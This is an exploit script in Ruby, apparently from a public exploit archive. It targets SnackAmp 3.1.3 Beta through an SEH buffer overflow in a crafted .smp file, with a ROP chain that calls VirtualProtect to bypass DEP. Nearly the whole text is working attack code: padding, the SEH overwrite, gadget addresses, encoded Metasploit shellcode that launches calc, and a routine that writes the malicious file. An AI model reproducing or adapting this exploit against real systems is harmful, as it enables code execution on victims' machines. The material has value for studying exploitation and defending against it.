SnackAmp 3.1.3B – SMP Buffer Overflow (SEH) (DEP Bypass)
# Exploit Title: SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS) # Date: 09/24/10 # Author: Muhamad Fadzil Ramli - mind1355 [AT] gmail [DOT] com # Credit/Bug Found By: james [AT] learnsecurityonline [DOT] com # Software Link: http://sourceforge.net/projects/snackamp/ # Version: 3.1.3 Beta # Tested on: Windows XP SP3 EN (Virtualbox 3.2.8 R64453) # CVE: N/A # GREETZ: Intranium Sdn Bhd (Security Team) # : corelanc0d3r - Great Tutorial # #! /usr/bin/env ruby # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc payload = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc" payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85" payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5" payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c" payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21" payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5" payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27" payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3" payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53" payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f" payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6" payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8" payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f" payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca" junk1 = "A" * 13864 seh = [0x004659C1].pack('V') # ADD ESP, 428 # RETN [Module : snackAmp.exe] ret = [0x014E101F].pack('V') * 50 # RETN [Module : pngtcl10.dll] # ROP 1 rop1 = '' rop1 << [0x71ABDAC3].pack('V') # PUSH ESP # POP ESI # RETN [Module : WS2_32.dll] #rop1 << [0x014E1265].pack('V') # MOV EAX, ESI # POP ESI # RETN [Module : pngtcl10.dll] #rop1 << "DEAD" # PADDING rop1 << [0x014F08B1].pack('V') # ADD ESP, 20 # RETN [Module : pngtcl10.dll] # END # VIRTUALPROTECT PARAMETERS params = '' params << [0x7C801AD4].pack('V') # VirtualProtect params << 'WWWW' # return address (param1) params << 'XXXX' # lpAddress (param2) params << 'YYYY' # Size (param3) params << 'ZZZZ' # flNewProtect (param4) params << [0x014F5005].pack('V'); # writeable address params << 'DEAD' * 2 # PADDING # END # ROP 2 # PARAM 1 rop2 = '' rop2 << [0x014E1265].pack('V') # MOV EAX, ESI # POP ESI # RETN [Module : pngtcl10.dll] rop2 << "DEAD" rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "DEAD" rop2 << [0x014F2860].pack('V') * 10 # ADD EAX, 20 # RETN [Module : pngtcl10.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # PARAM 2 rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "DEAD" * 2 rop2 << [0x014F2860].pack('V') * 10 # ADD EAX, 20 # RETN [Module : pngtcl10.dll] rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # PARAM 3 rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "DEAD" * 2 rop2 << [0x014E1248].pack('V') # XOR EAX, EAX # RETN [Module : pngtcl10.dll] rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll] rop2 << "DEAD" rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll] rop2 << "DEAD" rop2 << [0x77C4EC2B].pack('V') # ADD EAX, 100 # POP EBP # RETN [Module : MSVCRT.dll] rop2 << "DEAD" rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # PARAM 4 rop2 << [0x77037BFA].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN [Module : CLBCATQ.DLL] rop2 << "PPPP" * 2 rop2 << [0x014E1248].pack('V') # XOR EAX, EAX # RETN [Module : pngtcl10.dll] rop2 << [0x76CA8BBF].pack('V') # ADD EAX, 40 # RETN [Module : IMAGEHLP.dll] rop2 << [0x75F991D3].pack('V') * 4 # INC ESI # RETN [Module : browseui.dll] rop2 << [0x71ABC7E8].pack('V') # MOV DWORD PTR DS:[ESI+8], EAX # MOV EAX, ESI # POP ESI # POP EBP # RETN 4 [Module : WS2_32.dll] rop2 << "DEAD" * 2 # END # POINT ESP TO VIRTUALPROCTECT rop2 << [0x775D1381].pack('V') # SUB EAX, 4 # RETN [Module : ole32.dll] rop2 << "DEAD" rop2 << [0x775D1381].pack('V') # SUB EAX, 4 # RETN [Module : ole32.dll] rop2 << [0x5B886978].pack('V') # XCHG EAX, ESP # RETN [Module : NETAPI32.dll] # END nops = "\x90" * 150 junk2 = "C" * (20000 - (junk1 + seh + ret + rop1 + params + rop2 + nops + payload).length) xploit = junk1 + seh + ret + rop1 + params + rop2 + nops + payload + junk2 File.open("crash.smp", 'w') do |fd| fd.write xploit puts "file size: " + xploit.length.to_s end |